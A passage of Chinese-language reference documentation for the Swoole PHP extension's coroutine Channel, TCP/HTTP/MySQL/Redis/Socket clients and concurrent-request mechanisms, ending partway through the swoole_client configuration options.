【 Coroutine\Channel->__construct 】 Coroutine\Channel->__construct(int $capacity = 1) 通道构造方法,$capacity参数设置容量,默认为1,必须为大于或等于1的整数 底层使用PHP引用计数来保存变量,缓存区只需要占用 $capacity * sizeof(zval) 字节的内存,PHP7版本下zval为16字节,如$capacity = 1024时,Channel最大将占用16K内存 在Server中使用时必须在onWorkerStart之后创建 【 Coroutine\Channel->push 】 function Coroutine\Channel->push(mixed $data) : bool; 向通道中写入数据,$data可以是任意类型的PHP变量,包括匿名函数和资源 为避免产生歧义,请勿向通道中写入空数据如0、false、空字符串、null 执行成功返回true,通道并关闭时,执行失败返回false channel基于引用计数实现,是零拷贝的 通道已满 自动yield当前协程,其他消费者协程pop消费数据后,通道可写,将重新resume当前协程 多个生产者协程同时push时,底层自动进行排队,底层会按照顺序逐个resume这些生产者协程 通道为空 自动唤醒其中一个消费者协程 多个消费者协程同时pop时,底层自动进行排队,按照顺序逐个resume这些消费者协程 【 Coroutine\Channel->pop 】 function Coroutine\Channel->pop(float $timeout = 0) : mixed; 从通道中读取数据,返回值可以是任意类型的PHP变量,包括匿名函数和资源,通道并关闭时执行失败返回false $timeout指定超时时间,浮点型,单位为秒,最小粒度为毫秒,在规定时间内没有生产者push数据,将返回false 通道已满 pop消费数据后,将自动唤醒其中一个生产者协程,让其写入新数据 多个生产者协程同时push时,底层自动进行���队,按照顺序逐个resume这些生产者协程 通道为空 自动yield当前协程,其他生产者协程push生产数据后,通道可读,将重新resume当前协程 多个消费者协程同时pop时,底层自动进行排队,底层会按照顺序逐个resume这些消费者协程 【 Coroutine\Channel->stats 】 function Coroutine\Channel->stats() : array; 获取通道的状态,返回一个数组,缓冲通道将包括4项信息,无缓冲通道返回2项信息 array( "consumer_num" => 0,// 消费者数量,表示当前通道为空,有N个协程正在等待其他协程调用push方法生产数据 "producer_num" => 1,// 生产者数量,表示当前通道已满,有N个协程正在等待其他协程调用pop方法消费数据 "queue_num" => 10 // 通道中的元素数量 ); 【 Coroutine\Channel->close 】 funtion Coroutine\Channel->close(); 关闭通道,并唤醒所有等待读写的协程。 唤醒所有生产者协程,push方法返回false 唤醒所有消费者协程,pop方法返回false 【 Coroutine\Channel->length 】 public function length(): int 获取通道中的元素数量 【 Coroutine\Channel->isEmpty 】 public function isEmpty(): bool 判断当前通道是否为空 【 Coroutine\Channel->isFull 】 public function isFull(): bool 判断当前通道是否已满 【 Coroutine\Channel->$capacity 】 构造函数中设定的容量会保存在此,不过如果设定的容量小于1则此变量会等于1 【 Coroutine\Channel->$errCode 】 默认成功 0 (SWOOLE_CHANNEL_OK) 超时 pop失败时(超时)会置为-1 (SWOOLE_CHANNEL_TIMEOUT) channel已关闭,继续操作channel,设置错误码 -2 ( SWOOLE_CHANNEL_CLOSED)
Coroutine\Client
Coroutine\Client提供了TCP、UDP、UnixSocket传输协议的Socket客户端封装代码,使用时仅需new Swoole\Coroutine\Client即可。 Coroutine\Client底层实现协程调度,业务层无需感知 使用方法和Client同步模式方法完全一致 connect超时设置同时作用于Connect和Recv、Send 超时 除了正常的调用外,Coroutine\Client还支持并行请求 继承关系 Coroutine\Client与Client并不是继承关系,但绝大部分Client提供的方法均可在Coroutine\Client中使用 在Coroutine\Client中可以使用set方法设置配置选项,使用方法和与Client->set完全一致
协议处理 协程客户端也支持长度和EOF协议处理,设置方法与 Client 完全一致。
【 Coroutine\Client->connect 】 bool $swoole_client->connect(string $host,int $port,float $timeout = 0.5,int $sock_flag = 0) 连接到远程服务器,如果连接失败返回false,超时后返回检查$cli->errCode为110 $host是远程服务器的地址,可直接传入域名,底层会自动进行协程切换解析域名为IP地址 $port是远程服务器端口 $timeout是网络IO的超时时间,包括connect/send/recv,单位是秒s,支持浮点数,默认为0.5s,即100ms,超时发生时,连接会被自动close掉 connect操作会有一次协程切换开销,connect发起时yield,完成时resume 原先异步客户端不支持recv超时,现在协程版已经支持超时,复用上面的$timeout参数connect不会发生阻塞,connect事件触发后,切回PHP上下文
失败重试 connect连接失败后,不可直接进行重连。必须使用close关闭已有socket,然后再进行connect重试。
【 Coroutine\Client->send 】 function client->send(string $data); 发送数据 $data为发送的数据,必须为字符串类型,支持二进制数据 发生的数据过大可能会引起协程调度,监听可写后进行发送 发送成功 发送成功返回写入Socket缓存区的字节数,底层会尽可能地将所有数据发出。如果返回的字节数与传入的$data长度不同,可能是Socket已被对端关闭,再下一次调用send或recv时将返回对应的错误码 发送失败 返回false,请检查$client->errCode获取错误原因。 【 Coroutine\Client->recv 】 function Coroutine\Client->recv(float $timeout = -1) : string; recv方法用于从服务器端接收数据,底层会自动yield,等待数据接收完成后自动切换到当前协程。 recv方法不接受长度参数 设置了通信协议recv会返回完整的数据,长度受限于package_max_length 未设置通信协议recv最大返回64K数据,未设置通信协议返回原始的数据,需要PHP代码中自行实现网络协议的处理 服务端主动关闭连接recv返回空字符串 recv操作需要进行一次协程切换,在收到数据后进行resume 超时设置 $timeout 设置超时,单位为秒,浮点型 传入了$timeout,优先使用制定的timeout参数 未传入$timeout,但在connect时指定了超时时间,自动以connect超时时间作为recv超时时间 未传入$timeout,未设置connect超时,将设置为-1表示永不超时 发生超时的错误码为ETIMEDOUT 【 Coroutine\Client->close 】 function Coroutine\Client->close() : bool; 关闭连接。close不存在阻塞,会立即返回。 执行成功返回true,失败返回false 关闭操作没有协程切换 【 Coroutine\Client->peek 】 function Coroutine\Cli ent->peek(int $length = 65535) : string; 窥视数据。peek方法直接操作socket,因此不会引起协程调度。 peek方法仅用于窥视内核socket缓存区中的数据,不进行偏移。使用peek之后再调用recv仍然可以读取到这部分数据 peek方法是非阻塞的,会立即返回。当socket缓存区中有数据时会返回数据内容,缓存区为空时返回false,并设置$client->errCode 连接已被关闭peek会返回空字符串
Coroutine\Http\Client
协程版Http客户端基于原生的AsyncIo中的异步Http客户端,基本的设置和使用方法和异步Http客户端一致,不在需要注册回调函数,只需要同步写法即可 Swoole协程版Http客户端底层是用纯C编写,拥有超高的性能。 【 Saber - 人性化的协程HTTP客户端封装库,开发者可使用已封装的协程HTTP客户端Saber 】 基于Swoole协程Client开发 人性化使用风格,ajax.js/axios.js/requests.py用户福音,同时支持PSR风格操作 浏览器级别完备的Cookie管理机制,完美适配爬虫/API代理应用 请求/响应/异常拦截器 多请求并发,并发重定向优化 连接池,自动化复用长连接 通道池(Chan): 最大连接数限制+无阻塞 HTTPS连接,CA证书自动化支持 HTTP/Socks5 Proxy支持 WebSocket连接支持 毫秒级超时定时器 自动化 编码请求/解析响应 数据 响应报文自动编码转换 异步超大文件上传/下载,断点重传 自动重试机制 单次并发数控制 多模式/超细粒度异常处理机制 【 启用协程Http客户端 】 不依赖任何第三方扩展库,默认开启 支持Http-Chunk、Keep-Alive特性,支持form-data格式 Http协议版本为HTTP/1.1 支持升级为websocket客户端 gzip压缩格式支持需要依赖zlib库(默认都有) 【 构造方法 】 function Swoole\Coroutine\Http\Client->__construct(string $host,int port,bool $ssl = false); $host 目标服务器主机地址,可以为IP或域名,底层自动进行域名解析 $port 目标服务器的端口,一般http为80,https为443 $ssl 是否启用SSL/TLS隧道加密,如果目标服务器是https必须设置$ssl参数为true 如果未设置timeout,则将底层connect和request超时设置为默认的500ms
【 属性列表 】
errCode 类型为int型
当connect/send/recv/close失败或超时时自动设置Swoole\Coroutine\Http\Client->errCode的值。
errCode的值等于Linux errno,可使用socket_strerror将错误码转为错误信息。
echo socket_strerror($client->errCode);
connect refuse错误码为111,超时错误码为110
body
存储上次请求的返回包体
$cli = new Swoole\Coroutine\Http\Client('127.0.0.1',80);
$cli->get('/index.php');
echo $cli->body;
$cli->close();
statusCode
Http状态码,如200、404等。状态码如果为负数表示连接存在问题。
-1: 连接超时,服务器未监听端口或网络丢失,可以读取$errCode获取具体的网络错误码
-2: 请求超时,服务器未在规定的timeout时间内返回response
-3: 客户端请求发出后,服务器强制切断连接
【 Coroutine\Http\Client->get 】
function Swoole\Coroutine\Http\Client->get(string $path);
发起GET请求
$path 设置URL路径,如/index.html,注意这里不能传入http://domain
使用get会忽略setMethod设置的请求方法,强制使用GET
【 Coroutine\Http\Client->post 】 function Swoole\Coroutine\Http\Client->post(string $path,mixed $data); 发起POST请求 $path 设置URL路径,如/index.html,注意这里不能传入http://domain $data 请求的包体数据,如果$data为数组底层自动会打包为x-www-form-urlencoded格式的POST内容,并设置Content-Type为application/x-www-form-urlencoded 使用post会忽略setMethod设置的请求方法,强制使用POST
【 Coroutine\Http\Client->upgrade 】 function Coroutine\Http\Client->upgrade(string $path); 升级为WebSocket连接。请求失败返回false,成功返回true 某些情况下请求虽然是成功的,upgrade返回了true,但服务器并未设置HTTP状态码为101,而是200或403,这说明服务器拒绝了握手请求 WebSocket握手成功后可以使用push方法向服务器端推送消息,也可以调用recv接收消息 upgrade会产生一次协程调度
【 Coroutine\Http\Client->push 】 function Coroutine\Http\Client->push(mixed $data,int $opcode = WEBSOCKET_OPCODE_TEXT,bool $finish = true): bool 向WebSocket服务器推送消息。 push方法必须在upgrade成功之后才能执行 push方法不会产生协程调度,写入发送缓存区后会立即返回 参数模式1 $data 要发送的数据内容,默认为UTF-8文本格式,如果为其他格式编码或二进制数据,请使用WEBSOCKET_OPCODE_BINARY $opcode操作类型,默认为WEBSOCKET_OPCODE_TEXT表示发送文本 $opcode必须为合法的WebSocket OPCODE,否则会返回失败,并打印错误信息opcode max 10 参数模式2 $data 可以使用Swoole\WebSocket\Frame对象,支持发送各种帧类型 返回值 发送成功返回true 连接不存在、已关闭、未完成WebSocket,发送失败返回false 错误码 8502: 错误的OPCODE 8503: 未连接到服务器或连接已被关闭 8504: 握手失败 【 Coroutine\Http\Client->recv 】 function Coroutine\Http\Client->recv(float $timeout = -1); 接收消息,与setDefer或upgrade配合使用。 $timeout 为upgrade升级为websocket时可用的超时参数 $timeout 设置超时,优先使用指定的参数,其次使用set方法中传入的timeout配置,未设置任何超时,将持续等待HttpWebSocket
【 Coroutine\Http\Client->addFile 】 function Coroutine\Http\Client->addFile(string $path,string $name,string $mimeType = null,string $filename = null,int $offset = 0,int $length = 0) 添加POST文件。 使用addFile会自动将POST的Content-Type将变更为form-data。addFile底层基于sendfile,可支持异步发送超大文件。 $path 文件的路径,必选参数,不能为空文件或不存在的文件 $name 表单的名称,必选参数,FILES参数中的key $mimeType 文件的MIME格式,可选参数,底层会根据文件的扩展名自动推断 $filename 文件名称,可选参数,默认为basename($path) $offset 上传文件的偏移量,可以指定从文件的中间部分开始传输数据。此特性可用于支持断点续传。 $length 发送数据的尺寸,默认为整个文件的尺寸
【 Coroutine\Http\Client->addData 】 function Coroutine\Http\Client->addData(string $data,string $name,string $mimeType = null,string $filename = null) 使用字符串构建上传文件内容,使用addData会自动将POST的Content-Type将变更为form-data。 $data 数据内容,必选参数,最大长度不得超过buffer_output_size $name 表单的名称,必选参数,$_FILES参数中的key $mimeType 文件的MIME格式,可选参数,默认为application/octet-stream $filename 文件名称,可选参数,默认为$name
【 Coroutine\Http\Client->download 】 function Coroutine\Http\Client->download(string $path,string $filename,int $offset = 0); 通过Http下载文件。download与get方法的不同是download收到数据后会写入到磁盘,而不是在内存中对Http Body进行拼接。因此download仅使用小量内存就可以完成超大文件的下载 $path URL路径 $filename 指定下载内容写入的文件路径,会自动写入到downloadFile属性 $offset 指定写入文件的偏移量,此选项可用于支持断点续传,可配合Http头Range:bytes=$offset-实现 $offset为0时若文件已存在,底层会自动清空此文件 执行成功返回true,打开文件失败或feek失败返回false
Coroutine\Http2\Client Http2协程客户端
Coroutine\MySQL
启用协程MySQL客户端 请勿同时使用异步回调和协程MySQL 支持MySQL存储过程和多结果集获取
MySQL8.0 Swoole-4.0.1或更高版本支持了MySQL8所有的安全验证能力,可以直接正常使用客户端,而无需回退密码设定 4.0.1 以下版本 MySQL-8.0默认使用了安全性更强的caching_sha2_password插件,如果是从5.x升级上来的,可以直接使用所有MySQL功能,如是新建的MySQL,需要进入MySQL命令行执行以下操作来兼容: ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'password'; flush privileges; 如仍无法使用,应在my.cnf中设置 default_authentication_plugin = mysql_native_passwordSQL文件
【 属性列表 】 serverInfo 连接信息,保存的是传递给连接函数的数组 sock 连接使用的文件描述符 connected 是否连接上了MySQL服务器 connect_error 发生在sock上的连接错误信息 connect_errno 发生在sock上的连接错误码 error errno MySQL服务器返回的错误信息 affected_rows 影响的行数 insert_id 最后一个插入的记录id 【 Coroutine\MySQL->connect 】 bool connect(array $serverInfo) 建立MySQL连接,成功返回true,否则返回false $serverInfo: 参数以数组形式传递 [ 'host' => 'MySQL IP地址', 'user' => '数据用户', 'password' => '数据库密码', 'database' => '数据库名', 'port' => 'MySQL端口 默认3306 可选参数', 'timeout' => '建立连接超时时间,仅影响connect超时时间,不影响query和execute方法', 'charset' => '字符集', 'strict_type' => false,//开启严格模式,返回的字段将自动转为数字类型 'fetch_mode' => true, //开启fetch模式,可与pdo一样使用fetch/fetchAll逐行或获取全部结果集 ] 【 Coroutine\MySQL->query 】 array|bool query(string $sql,double $timeout = -1) 执行SQL语句,超时/出错返回false,否则以数组形式返回查询结果 $timeout参数超时时间,$timeout如果小于或等于0,表示永不超时。在规定的时间内MySQL服务器未能返回数据,底层将返回false,设置错误码为110,并切断连接 延迟接收 设置defer后,调用query会直接返回true,调用recv才会进入协程等待,返回查询的结果。
【 Coroutine\MySQL->prepare 】 function Coroutine\MySQL->prepare(string $sql,float $timeout) : bool 向MySQL服务器发送SQL预处理请求。prepare必须与execute配合使用,预处理请求成功后,调用execute方法向MySQL服务器发送数据参数。 参数 $sql 预处理语句,使用?作为参数占位符 $timeout 超时时间 返回值 失败返回false,可检查$db->error和$db->errno判断错误原因 成功返回Coroutine\MySQL\Statement对象,可调用对象的execute方法发送参数 【 Coroutine\MySQL\Statement->execute 】 function Coroutine\MySQL\Statement->execute(array $params,float $timeout = -1) : bool 向MySQL服务器发送SQL预处理数据参数。execute必须与prepare配合使用,调用execute之前必须先调用prepare发起预处理请求,execute方法可以重复调用。 参数 $params 预处理数据参数,必须与prepare语句的参数个数相同,必须为数字索引的数组,参数的顺序与prepare语句相同 $timeout 超时时间,在规定的时间内MySQL服务器未能返回数据,底层将返回false,设置错误码为110,并切断连接 返回值 成功,如果设置connect的fetch_mode参数为true时则返回ture,否则返回array数据集数组 失败返回false,可检查$db->error和$db->errno判断错误原因
【 Coroutine\MySQL\Statement->fetch 】 function Coroutine\MySQL->fetch() : ?array 从结果集中获取下一行 Ver >= 4.0-rc1 ,需在connect时加入fetch_mode => true选项
【 Coroutine\MySQL\Statement->fetchAll 】 function Coroutine\MySQL->fetchAll() : ?array 返回一个包含结果集中所有行的数组 Ver >= 4.0-rc1 ,需在connect时加入fetch_mode => true选项
【 Coroutine\MySQL\Statement->nextResult 】 function Coroutine\MySQL->nextResult() : ?bool 在一个多响应结果语句句柄中推进到下一个响应结果 (如存储过程的多结果返回) 成功时返回TRUE,否则返回FALSE,无下一结果时返回NULL。非fetch模式fetch模式
Coroutine\Redis
推荐使用Swoole\Runtime::enableCoroutine + phpredis或predis的方式,一键协程化原生PHP的redis客户端使用,减小开发成本 请勿同时使用异步回调和协程Redis 需要安装一个第三方的异步Redis库hiredis sudo make sudo make install sudo ldconfig 需要在编译时增加--enable-async-redis来开启此功能,4.2.6版本及以后不再需要手动安装和启用async-redis,而是swoole自带订阅模式defer特性pipeline,Redis服务器支持多条指令并发执行,可使用defer特性启用pipeline,subscribe pSubscribe无法用于defer(true)的情况。
【 Coroutine\Redis::__construct 】 方法的使用基本与phpredis保持一致。 不同于phpredis的实现 1、尚未实现的Redis命令: scan object sort migrate hscan sscan zscan 2、subscribe pSubscribe的使用方式,无需设置回调函数: Redis协程客户端构造方法,可以设置Redis连接的配置选项。 function swoole_redis->__construct(array $options = null); 超时控制 $options['timeout'] = 1.5; 浮点型,单位为秒,最小粒度为1毫秒。Connect后在规定的时间内服务器没有完成握手底层将自动关闭socket,设置连接为失败,触发onConnect事件 3、序列化PHP变量的支持,在connect方法的第三个参数设置为true时,开启序列化php变量特性,默认为false 【 Coroutine\Redis::setOptions 】 Coroutine\Redis::setOptions(array $options) 用于在构造和连接后设置Redis客户端的一些配置,该函数是swoole风格的,需通过kv键值对数组来配置 可配置选项 connect_timeout: 连接的超时时间,默认为全局的协程socket_connect_timeout(1秒) timeout: 超时时间,默认为全局的协程socket_timeout(-1,永不超时) serialize: 自动序列化,默认关闭 reconnect: 自动连接尝试次数,如果连接由于超时等原因被close正常断开,下一次发起请求时,会自动尝试连接然后再发送请求,默认为1次(true),一旦失败指定次数后不会再继续尝试,需手动重连. 该机制仅用于连接保活,不会重发请求导致不幂等接口出错等问题 【 属性列表 】 errCode 错误代码 1 Error in read or write 2 Everything else... 3 End of file 4 Protocol error 5 Out of memory errMsg 错误消息 connected 当前Redis客户端是否连接到了服务器。 定义的PHP常量 用于multi($mode)方法,默认为SWOOLE_REDIS_MODE_MULTI模式: SWOOLE_REDIS_MODE_MULTI SWOOLE_REDIS_MODE_PIPELINE 用于判断type()命令的返回值: SWOOLE_REDIS_TYPE_NOT_FOUND SWOOLE_REDIS_TYPE_STRING SWOOLE_REDIS_TYPE_SET SWOOLE_REDIS_TYPE_LIST SWOOLE_REDIS_TYPE_ZSET SWOOLE_REDIS_TYPE_HASH 【 事务模式 】 可使用multi和exec实现Redis的事务模式。 使用mutli指令启动事务,之后所有指令将被加入到队列中等待执行 使用exec指令执行事务中的所有操作,并一次性返回所有结果
Coroutine\Socket
Swoole-2.2版本增加了更底层的Coroutine\Socket模块,相比Server和Client相关模块Socket可以实现更细粒度的一些IO操作。可使用Co\Socket短命名简化类名。 协程调度 Coroutine\Socket模块提供的IO操作接口均为同步编程风格,底层自动使用协程调度器实现异步非阻塞IO。 错误码 在执行socket相关系统调用时,可能返回-1错误,底层会设置Coroutine\Socket->$errCode属性为系统错误编号errno,请参考响应的man文档。如$socket->accept()返回错误时,errCode含义可以参考man accept中列出的错误码文档。 【 Coroutine\Socket::__construct 】 function Coroutine\Socket::__construct(int $domain,int $type,int $protocol); 构造Coroutine\Socket对象。 $domain: 协议域,可使用AF_INET、AF_INET6、AF_UNIX $type: 类型,可使用SOCK_STREAM、SOCK_DGRAM、SOCK_RAW $protocol: 协议,IPPROTO_TCP、IPPROTO_UDP、IPPROTO_STCP、IPPROTO_TIPC,可设置为0 构造方法会调用socket系统调用创建一个socket句柄,调用失败时会抛出Swoole\Coroutine\Socket\Exception异常,并设置$socket->errCode属性,可根据该属性的值得到系统调用失败的原因。 【 Coroutine\Socket->bind 】 function Coroutine\Socket->bind(string $address,int $port = 0) : bool; 绑定地址和端口。此方法没有IO操作,不会引起协程切换 绑定成功返回true,绑定失败返回false,请检查errCode属性获取失败原因 参数 $address: 绑定的地址,如0.0.0.0、127.0.0.1 $port: 绑定的端口,默认为0,系统会随机绑定一个可用端口,可使用getsockname方法得到系统分配的port 【 Coroutine\Socket->listen】 function Coroutine\Socket->listen(int $backlog = 0) : bool; 监听Socket。此方法没有IO操作,不会引起协程切换 参数 $backlog: 监听队列的长度,默认为0,系统底层使用epoll实现了异步IO,不存在阻塞,因此backlog的重要程度并不高 返回值 监听成功返回true 监听失败返回false,请检查errCode属性获取失败原因 【 Coroutine\Socket->accept 】 function Coroutine\Socket->accept(double $timeout = -1) : Coroutine\Socket | false; 接受客户端发起的连接。调用此方法会立即挂起当前协程,并加入EventLoop监听可读事件,当Socket可读有到来的连接时自动唤醒该协程,并返回对应客户端连接的Socket对象。 该方法必须在使用listen方法后使用,适用于Server端。 参数 $timeout: 设置超时,默认为-1表示永不超时。设置超时参数后,底层会设置定时器,在规定的时间没有客户端连接到来,accept方法将返回false 返回值 超时或accept系统调用报错时返回false,可使用errCode属性获取错误码,其中超时错误码为ETIMEDOUT 成功返回客户端连接的socket,类型同样为Swoole\Coroutine\Socket对象,可对其执行send、recv、close等操作
【 Coroutine\Socket->connect 】 function Coroutine\Socket->connect(string $host,int port = 0,double $timeout = -1) : bool; 连接到目标服务器。调用此方法会发起异步的connect系统调用,并挂起当前协程,底层会监听可写,当连接完成或失败后,恢复该协程。 该方法适用于Client端,支持IPv4、IPv6、UnixSocket。 参数 $host: 目标服务器的地址,如127.0.0.1、192.168.1.100、/tmp/php-fpm.sock、www.baidu.com等,可以传入IP地址、Unix Socket路径或域名。若为域名,底层会自动进行异步的DNS解析,不会引起阻塞 $port: 目标服务器端口,Socket的domain为AF_INET、AF_INET6时必须设置端口 $timeout: 超时时间,底层会设置定时器,在规定的时间内未能建立连接,connect将返回false 返回值 超时或connect系统调用报错时返回false,可使用errCode属性获取错误码,其中超时错误码为ETIMEDOUT 成功返回true
【 Coroutine\Socket->send 】
function Coroutine\Socket->send(string $data,double $timeout = -1) : int | false;
向对端发送数据。
send方法会立即执行send系统调用发送数据,当send系统调用返回错误EAGAIN时底层将自动监听可写事件,并挂起当前协程,等待可写事件触发时,重新执行send系统调用发送数据,并唤醒该协程。
参数
$data: 要发送的数据内容,可以为文本或二进制数据
$timeout: 设置超时时间,默认为-1表示永不超时
返回值
发送成功返回写入的字节数,请注意实际写入的数据可能小于$data参数的长度,应用层代码需要对比返回值与strlen($data)是否相等来判断是否发送完成
发送失败返回false,并设置errCode属性
【 Coroutine\Socket->recv 】
function Coroutine\Socket->recv(int length = 65535,double $timeout = -1) : string | false;
接收数据。
recv方法会立即挂起当前协程并监听可读事件,等待对端发送数据后,可读事件触发时,执行recv系统调用获取socket缓存区中的数据,并唤醒该协程。
底层会尽可能地循环读取,直到recv系统调用返回EAGAIN。
参数
$timeout: 设置超时时间,默认为-1表示永不超时
返回值
接收成功返回实际数据
接收失败返回false,并设置errCode属性
接收超时,错误码为EAGAIN
【 Coroutine\Socket->sendto 】
Coroutine\Socket->sendto(string $address,int $port,string $data) : int | false;
向指定的地址和端口发送数据。用于SOCK_DGRAM类型的socket。
此方法没有协程调度,底层会立即调用sendto向目标主机发送数据。此方法不会监听可写,sendto可能会因为缓存区已满而返会false,需要自行处理。或者使用send方法
参数
$address: 目标主机的IP地址或UnixSocket路径,sendto不支持域名,使用AF_INET或AF_INET6时,必须传入合法的IP地址,否则发送会返回失败
$port: 目标主机的端口,发送广播时可以为0
$data: 发送的数据,可以为文本或二进制内容,请注意SOCK_DGRAM发送包的最大长度为64K
返回值
发送成功返回发送的字节数
发送失败返回false,并设置errCode属性
$socket = new Co\Socket(AF_INET,SOCK_DGRAM,0);
$socket->sendto('127.0.0.1',9601,"HELO");
【 Coroutine\Socket->recvfrom 】
function Coroutine\Socket->recvfrom(array &$peer,double $timeout = -1) : string | false;
接收数据,并设置来源主机的地址和端口。用于SOCK_DGRAM类型的socket。
此方法会引起协程调度,底层会立即挂起当前协程,并监听可读事件。可读事件触发,收到数据后执行recvfrom系统调用获取数据包。
参数
$peer: 对端地址和端口,引用类型。函数成功返回时会设置为数组,包括address和port两个元素
$timeout: 超时设置,在规定的时间内未返回数据,recvfrom方法会返回false
返回值
成功接收数据,返回数据内容,并设置$peer为数组
失败返回false,并设置errCode属性,不修改$peer的内容
【 Coroutine\Socket->getsockname 】 function Coroutine\Socket->getsockname() | array; 获取socket的地址和端口信息。此方法没有协程调度开销。 调用成功返回,包含address和port的数组 调用失败返回false,并设置errCode属性 【 Coroutine\Socket->getpeername 】 function Coroutine\Socket->getpeername() | array; 获取socket的对端地址和端口信息,仅用于SOCK_STREAM类型有连接的socket。此方法没有协程调度开销。 调用成功返回,包含address和port的数组 调用失败返回false,并设置errCode属性 【 Coroutine\Socket->close 】 function Coroutine\Socket->close() : bool; 关闭Socket。 关闭成功返回true,失败返回false Co\Socket对象析构时如果会自动执行close
并发调用
【 并发请求 】 在协程版本的Client中,实现了多个客户端并发发包功能(setDefer机制)。 通常如果一个业务请求中需要做一次redis请求和一次mysql请求,那么网络IO会是这样子: redis发包->redis收包->mysql发包->mysql收包 以上流程网络IO的时间就等于 redis网络IO时间 + mysql网络IO时间。 而对于协程版本的Client,网络IO可以是这样子: redis发包->mysql发包->redis收包->mysql收包 以上流程网络IO的时间就接近于 MAX(redis网络IO时间,mysql网络IO时间)。 现在支持并发请求的Client有: Swoole\Coroutine\Client Swoole\Coroutine\Redis Swoole\Coroutine\MySQL Swoole\Coroutine\Http\Client 除了Swoole\Coroutine\Client,其他Client都实现了defer特性,用于声明延迟收包。 因为Swoole\Coroutine\Client的发包和收包方法是分开的,所以就不需要实现defer特性了,而其他Client的发包和收包都是在一个方法中,所以需要一个setDefer()方法声明延迟收包,然后通过recv()方法收包。setDefer使用实例
【 setDefer机制 】 绝大部分协程组件都支持了setDefer特性。可以将请求响应式的接口拆分为两个步骤,使用此机制可以实现并发请求。 以HttpClient为例,设置setDefer(true)后发起$http->get()请求,将不再等待服务器返回结果,而是在send request之后立即返回true。在此之后可以继续发起其他HttpClient、MySQL、Redis等请求,最后再使用$http->recv()接收响应内容。 相比子协程 + Channel的实现方式,setDefer更简单一些。
【 子协程+通道 】 除了只用底层内置的setDefer机制实现并发请求之外,还可以使用子协程+通道实现并发。 实现原理 在onRequest中需要并发两个http请求,可使用go函数创建2个子协程,并发地请求多个URL 并创建了一个chan,使用use闭包引用语法,传递给子协程 主协程循环调用chan->pop,等待子协程完成任务,yield进入挂起状态 并发的两个子协程其中某个完成请求时,调用chan->push将数据推送给主协程 子协程完成URL请求后退出,主协程从挂起状态中恢复,继续向下执行调用$resp->end发送响应结果
swoole_client
所有Swoole提供的客户端,包括同步阻塞客户端和协程客户端,Swoole4不再支持异步客户端,相应的需求完全可以用协程客户端代替 swoole_client提供了tcp/udp、socket的客户端的封装代码,使用时仅需new Swoole\Client,可用于FPM/Apache环境 swoole的socket client对比PHP提供的stream系统函数有哪些好处: 1、stream函数存在超时设置的陷阱和Bug,一旦没处理好会导致Server端长时间阻塞 2、stream函数的fread有8192长度限制,无法支持UDP的大包 3、swoole_client支持waitall,在知道包长度的情况下可以一次取完,不必循环取。 4、swoole_client支持UDP connect,解决了UDP串包问题 5、swoole_client是纯C的代码,专门处理socket,stream函数非常复杂。swoole_client性能更好 6、swoole_client支持长连接 7、可以使用swoole_client_select函数实现多个Client的并发控制 除了普通的同步阻塞+select的使用方法外,swoole_client还支持异步非阻塞回调。 SSL/TLS 依赖openssl库,需要在编译swoole时增加enable-openssl或with-openssl-dir 必须在定义Client时增加SWOOLE_SSL $client = new Swoole\Client(SWOOLE_TCP | SWOOLE_ASYNC | SWOOLE_SSL); php-fpm/apache环境下只能使用同步客户端 apache环境下仅支持prefork多进程模式,不支持prework多线程 同步阻塞的TCP客户端,connect/send/recv会等待IO完成后再返回。同步阻塞操作并不消耗CPU资源,IO操作未完成当前进程会自动转入sleep模式,当IO完成后操作系统会唤醒当前进程,继续向下执行代码。 TCP需要进行3次握手,所以connect至少需要3次网络传输过程 在发送少量数据时$client->send都是可以立即返回的。发送大量数据时,socket缓存区可能会塞满,send操作会阻塞。 recv操作会阻塞等待服务器返回数据,recv耗时等于服务器处理时间+网络传输耗时之合同步阻塞TCP客户端
异步客户端只能用于cli环境 异步TCP客户端是非阻塞的,可以用于编写高并发的程序。swoole官方提供的redis-async、mysql-async都是基于异步swoole_client实现的。 异步客户端需要设置回调函数,有4个事件回调必须设置onConnect、onError、onReceive、onClose,分别在客户端连接成功、连接失败、收到数据、连接关闭时触发。 $client->connect() 发起连接的操作会立即返回,不存在任何等待。当对应的IO事件完成后,swoole底层会自动调用设置好的回调函数。async_client.php 异步非阻塞TCP客户端 - 异步客户端只能使用在cli命令行环境async_client.php 异步非阻塞TCP客户端
swoole_client方法
【 swoole_client::__construct 】 swoole_client->__construct(int $sock_type,int $is_sync = SWOOLE_SOCK_SYNC,string $key); $sock_type表示socket的类型,如TCP/UDP,使用$sock_type | SWOOLE_SSL可以启用SSL加密 $is_sync表示同步阻塞还是异步非阻塞,默认为同步阻塞 $key用于长连接的Key,默认使用IP:PORT作为key,相同key的连接会被复用 在php-fpm/apache中创建长连接 $cli = new swoole_client(SWOOLE_TCP | SWOOLE_KEEP); 加入SWOOLE_KEEP标志后,创建的TCP连接在PHP请求结束或调用$cli->close时并不会关闭。下一次执行connect调用时会复用上一次创建的连接。长连接保存的方式默认是以ServerHost:ServerPort为key的。可以再第3个参数内指定key。 SWOOLE_KEEP只允许用于同步客户端 swoole_client在unset时会自动调用close方法关闭socket 异步模式unset时会自动关闭socket并从epoll事件轮询中移除 SWOOLE_KEEP长连接模式在1.6.12后可用,长连接的$key参数在1.7.5后增加 在swoole_server中使用swoole_client 必须在事件回调函数中使用swoole_client,不能在swoole_server->start前创建 swoole_server可以用任何语言编写的socket client来连接。同样swoole_client也可以去连接任何语言编写的socket server 【 swoole_client->set 】 设置客户端参数必须在connect前执行。swoole-1.7.17为客户端提供了类似swoole_server的自动协议处理功能。通过设置一个参数即可完成TCP的自动 function swoole_client->set(array $settings); 配置选项 Swoole\Client和Swoole\Http\Client可以使用set方法设置一些选项,启用某些特性。 结束符检测 $client->set(array( 'open_eof_check' => true, 'package_eof' => "\r\n\r\n", 'package_max_length' => 1024 * 1024 * 2, )) 长度检测 $client->set(array( 'open_length_check' => 1, 'package_length_type' => 'N', 'package_length_offset' => 0, //第N个字节是包长度的值 'package_body_offset' => 4, //第几个字节开始计算长度 'package_max_length' => 2000000,//协议最大长度 )); 启用MQTT协议解析,onReceive回调将收到完整的MQTT数据包。 $client->set(array( 'open_mqtt_protocol' => true, )); Socket缓存区尺寸,包括socket底层操作系统缓存区、应用层接收数据内存缓存区、应用层发送数据内存缓冲区 $client->set(array( 'socket_buffer_size' => 1024*1024*2,//2M缓存区 )); 关闭Nagle合并算法 $client->set(array( 'open_tcp_nodelay' => true, )); SSL/TLS证书 $client->set(array( 'ssl_cert_file' => 